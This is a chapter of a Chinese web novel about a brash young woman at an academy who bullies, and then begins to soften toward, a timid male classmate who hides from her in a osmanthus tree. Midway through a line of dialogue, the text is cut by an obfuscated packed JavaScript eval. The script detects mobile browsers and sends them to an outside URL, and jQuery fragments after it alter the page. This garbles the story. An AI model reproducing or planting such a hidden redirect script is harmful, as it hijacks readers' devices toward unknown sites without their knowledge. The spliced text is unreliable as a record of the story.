苏木夸大其词说哥哥何其辛苦为她熬的汤竟是药膳。
许拥川上次被母亲揍了之后在家躺着的那几天被各种药汁灌得简直苦不堪言,好容易来了书院又被那新来的熏了一天,现在吃饭竟还是这些!她觉得自己也离腌入味差不远了。
许拥川扭头就要走,最后还是被苏木好说歹说地哄着到书院附近的名楼里勉强吃个半饱才回来书院。
这次路上她没和万茵和方翎去到处寻乐子,丝毫没有耽搁地回来打算补上午没能睡成的觉。进来西斋时,离下午的课时还早。
她晃悠悠走进西斋,顿时眉间就皱了起来。
西斋里安安静静地坐着一个人,正好是那个浑身散发着药味,她的新同窗,淮瑜。
“哟,没吃饭啊?”她语气并不友善,却确实也是心里有这个疑问才脱口出来的。
话音一落,她自己也觉得多余了这句问地挑了挑眉。午时那场小小的动乱结束时,走前她回头看了淮瑜一眼。原本生怕被她关在西斋里的淮瑜最后在人散时,却独自沉默地坐回了位置上,可能直坐到现在。
听见许拥川的声音,淮瑜回头看了她一眼,苍白的脸上满是黯然。他睫毛很长,扇了扇,眼帘一触到她的视线便垂了下去。他站起身,一句话也没说地收拾书案,从她前座挪开,去了最角落的位置。
这是以为她那句话是在赶他?
倒也正合她意,于是许拥川找了个舒服姿势趴着,想了想,又懒洋洋道:“散学别走啊,等着我醒来,还有账没跟你算。”
淮瑜似乎微微侧了下头,还是闷着,不吱一声。
想他也不敢走,许拥川很快便枕着手臂睡着了。
在学堂里,时间总过得格外的慢。
许拥川喜欢这个临窗的位置,这个位置便再没其她人敢坐。
窗口正对着一株繁茂的老桂树,树上还有窝嗷嗷待哺的小鸟,看两只老鸟忙来忙去地飞,就这闲景就够她呆看一整天,更别提有时候一趟清风裹挟着桂香照脸拂来,耳边更伴有微风细吟,那感觉有多令她倍感舒适了。
可现在……药味无时不刻敲打她的脑壳,她难受地睁开眼。
爹的,还在上课……
方才她似乎并未能睡多久,却也再睡不着了。许拥川半掀起眼帘,恨幽幽地越过她们之间隔着的好几个人,直盯住淮瑜的背。
少年的肩背微微开阔,手长脚长的,正是抽条蹿个子的时候,白皙的脖颈直直从软塌的领子里撑出来,侧脸也白白净净,却一直低着头。他低头看书,低头听讲,低头揉着空空的肚子。
他全程不敢斜视,身旁同窗偶尔身形的摇晃和举手抬足间带起的习俗动静似乎都能令他紧张。如果他身上有毛……许拥川的意思是,如果他是只桂树上那样的毛茸茸的小鸟或街边的小杂毛流浪猫,那他此刻浑身上下的毛恐怕早已炸开,却还强壮镇定,把所有慌张死死按在面无表情之下。
他不敢看别人,西斋里却有许多目光落在他身上:提防、探究、好奇,甚至有人悄悄红了脸。更多人看他,是以为他会向夫子告状,不过她们也并不真怕,毕竟午时那场“打抱不平”,可是为了许拥川。
但他没有。比起上午,他只是更小心,更沉默,腰背却渐渐重新挺直,一双眼睛只紧紧跟着夫子移动。
许拥川在后面见证了这一整个过程的变化。她盯着淮瑜的背影,也不看桂树、不看鸟了,视线在淮瑜和夫子之间来回转,眼睛微微眯起,没睡醒的脑子里有什么隐约闪过,却抓不真切。
盯着盯着,夫子的声音终于传来:“今日就到这。”
众人懒散起身,歪歪扭扭地行礼。
等许拥川恍然再抬头看向那个角落——“嗯?!”
她只来得及看到一道白影,淮瑜一阵风似的,直往外冲。
跑了!?
许拥川急忙探身看向窗外……连影都没了!
她从西斋里走出来,视线扫过从各斋里涌出的人流……真跑了。
跑得了和尚跑不了庙,他居然敢跑。
夜里,许拥川盯着天花板翻来覆去,最后一脚踹醒睡在床边的苏木,商量起明日捉人的大计。
谁知这淮瑜确是个人物。
总能踩着夫子进学堂来的那刻进来学堂,又趁夫子还未离开西斋时,及时从许拥川的眼前消失的无影无踪。
吃了一瘪又一瘪的许拥川一开始总被气得想要发狂又无奈,憋得胸口隐隐作疼。后来渐渐的胸口就不觉得疼了,大约是来自母亲的疼爱终于完全好了?
这日午时,她站在空荡荡的西斋外又没逮住人,许拥川摸了摸新口,好像……确实没任何感觉了?
于是她一面转身朝外走,一面低头撩开衣领地去看,自己还没看着呢,她正要路过的桂树上,忽然枝叶一抖。
一抬头,撞进一双清澈,却又带了点疑惑和又惊又羞的眼睛里。
紧接着,淮瑜就从树上摔了下来,跌在她脚边。在她的注视下,缓缓慢慢地低着头爬起身。
许拥川:“……”
她抬头看看树,再垂眸看看淮瑜,扫手将人拽了过来抵在树干上:“原来你每次藏在这儿啊?难怪和只兔子一样,一蹿就不见人了,”她蹙紧了眉:“你倒是厉害啊?”
“没有……”淮瑜其实已经比许拥川个子高出了不少,少年颀长的身体被紧贴着树,脸上火红一片,他修长的手指无措地也在自己身后的树干上抠着。许是离得太近,他眸光闪烁,不敢与许拥川对视,低声道:“我只是……”顿了顿,淮瑜小心地问她:“你为什么要这样对我……”
“还敢问我为什么?那日我要你散学等着我,你呢?”
“我……”淮瑜眼尾隐隐泛起了红,缓了一下呼吸才道:“我怕你……”
“怕我?”许拥川觉得好笑,“你既怕我就离我远点,你一男的就不该进上书府来,也不该带着你身上这股该死的药味进西斋,更不该在前几日的万关道害我被家里仆从当场抓住!”
要不是他那一句鬼喊,她何至于要挨母亲那样一顿揍。
“万关道?”淮瑜闻言,目光停在空中地回忆片刻,再看向她的眼里闪烁着不可置信和忿忿:“就因为我那日躲雨时,听见有人喊‘杀人’凑了过去看了你一眼,所以你要打我?”说罢他又像是忽而想起什么,视线往下一瞥后,脸上的薄怒的神色飞快被羞怯所替代。
“那句话不是你喊的?”许拥川开始回忆当时那尖厉的喊叫声,目光落在眼前温润的少郎脸上,神色渐渐变得复杂难看。
少年被按在树上偏着脸,神情隐忍,他的嗓音清泠泠如阳光下山泉水流淌而过:“我喊什么了?”他那日可一句话也没说。
“爹的……”许拥川喃喃。
逮错人了……
那当时到底是哪个狗东西喊的?
许拥川试图从已然不算不清晰了的记忆里找出些蛛丝马迹来。
“你还要这样和我说很久话吗?”淮瑜轻轻的声音又响起。
许拥川抬眼立刻对上淮瑜那双对她充满畏怕的眼神。可对方这次视线没再躲,只是犹豫了一下,原本抠着树皮的修长手指抬起,顶着她的视线徐徐朝她伸来,“虽,虽然你是女子,但这是在书院里……”淮瑜帮她把一直敞开着的衣领严严合上地攥着,随后他抬起眼睛看她:“好了,你继续说罢……”
“说……?”许拥川愣了愣,“还他爹的说什么啊?”她一把将淮瑜推搡开,“不是?你有病罢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240939|197731||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?我和你有什么好说的!”
突然一小团白色从淮瑜袖子里抖落在了地上。
两人同时一滞,视线都被吸引了过去。
淮瑜知道那是什么,立刻弯腰想要去捡。
他这般紧张的反应,反倒让许拥川以为是什么要紧东西,立即抢先一步弯腰拾起。
到手的竟只是一个被咬了两口的白馒头,她下意识捏了捏……还是已经冷硬了的馒头。
这人中午就吃这玩意?
意识到自己手里抓的是别人咬过的食物,她心头一阵烦腻,低低骂了句。馒头从她手中坠落,紧接着被她泄愤似的一脚踢开,滚了几圈,停在远处尘埃里。
做完这些,许拥川甩了甩仿佛沾了脏污的手,朝淮瑜嫌恶地退开几步,皱着眉冷声道:“你一个男子,不是很会爬树吗?不是很会躲吗?来,躲一个给我看看。看高兴了,小娘我就放你去吃饭。”
淮瑜在她面前总只是低着头,此刻也只是飞快地朝馒头滚落的方向瞥了一眼。那片沉默里,仿佛无声地说:他的午饭,已经被她一脚踢走了。
但在许拥川逐渐不耐的目光压迫下,他还是缓缓动了起来。
“我就是这样……”淮瑜一面细声说着,一面走到斋内自己常坐的书案旁。随后,他的声音透过窗口传来:“这样之后……”他朝着空无一人的空气,认真地弯身行了一礼。
许拥川:“……?”
“然后……”
淮瑜回过头,怯怯地望了她一眼,似乎有些犹豫和羞赧。就在许拥川即将失去耐心时,他的身影忽然迅捷无比地从西斋门口掠了出来。
爹的,是又想逃!?
许拥川抬步欲追,却见淮瑜只是灵巧地折转方向,闪身躲到了那棵粗壮的桂花树后。紧接着,他微微探出半边身子,目光认真而专注,直直越过她,投向窗内。
顺着他的视线,许拥川看见了自己常坐的位置。在淮瑜这般细致的“演示”下,她几乎能幻视出这几日自己每每抬头却寻不见人影时,愣怔地站在那里、一脸茫然又气恼的模样。
许拥川:“……”
淮瑜继续演示他每日躲她的全部过程:“再这样!”
许拥川闻声回头,树后的身影已然不见。她下意识仰首,果然,人已上了树。此刻,淮瑜的视线紧紧锁向树下他自己常坐的座位。许拥川眼角余光跟着扫过去……
是了。每回抓不到人、又想不通他是如何消失时,她总会走到淮瑜的位置旁,沉默地琢磨半晌。
待她收回视线,淮瑜正并拢双腿,半蹲在横生的枝干上,低着头,视线小心地摸索着她脸上的情绪:“我就是这样躲的。你……看高兴了吗?”
高兴了吗?
“……”
许拥川仰着头读着淮瑜眼底里,那对她因畏惧而伴生出来的讨好情绪,愣了半晌。
清风悠扬拂过,将淡淡的药香揉进甜暖的桂香里。树上的少年,额发微微被汗打湿,因爬树而泛红的脸颊透出鲜活的血色,唇色也显得更秾丽。整个人像是忽然被点染上了颜色,在枝叶与细碎的日光间,有些灼眼。
许拥川满眼里映着淮瑜和他身后如星子般炸开的、层层叠叠的碎金桂花。有一瞬间,她突兀地觉得,淮瑜身上那股苦涩的药气,仿佛也并不那么难闻了。
她因为这念头皱了皱眉。
淮瑜也在看她,过了很久才一愣地把目光往下落,随后无措地闪烁起来。他知道自己方才爬树的样子一定很招笑。
“许……”不知该如何称呼才合适,淮瑜踌躇片刻,终于硬着头皮,选择了那日听见她随侍唤她的方式,小心翼翼、生怕触怒她地低声再次问道:“老大?你……高兴了吗?我,可以下来了吗?”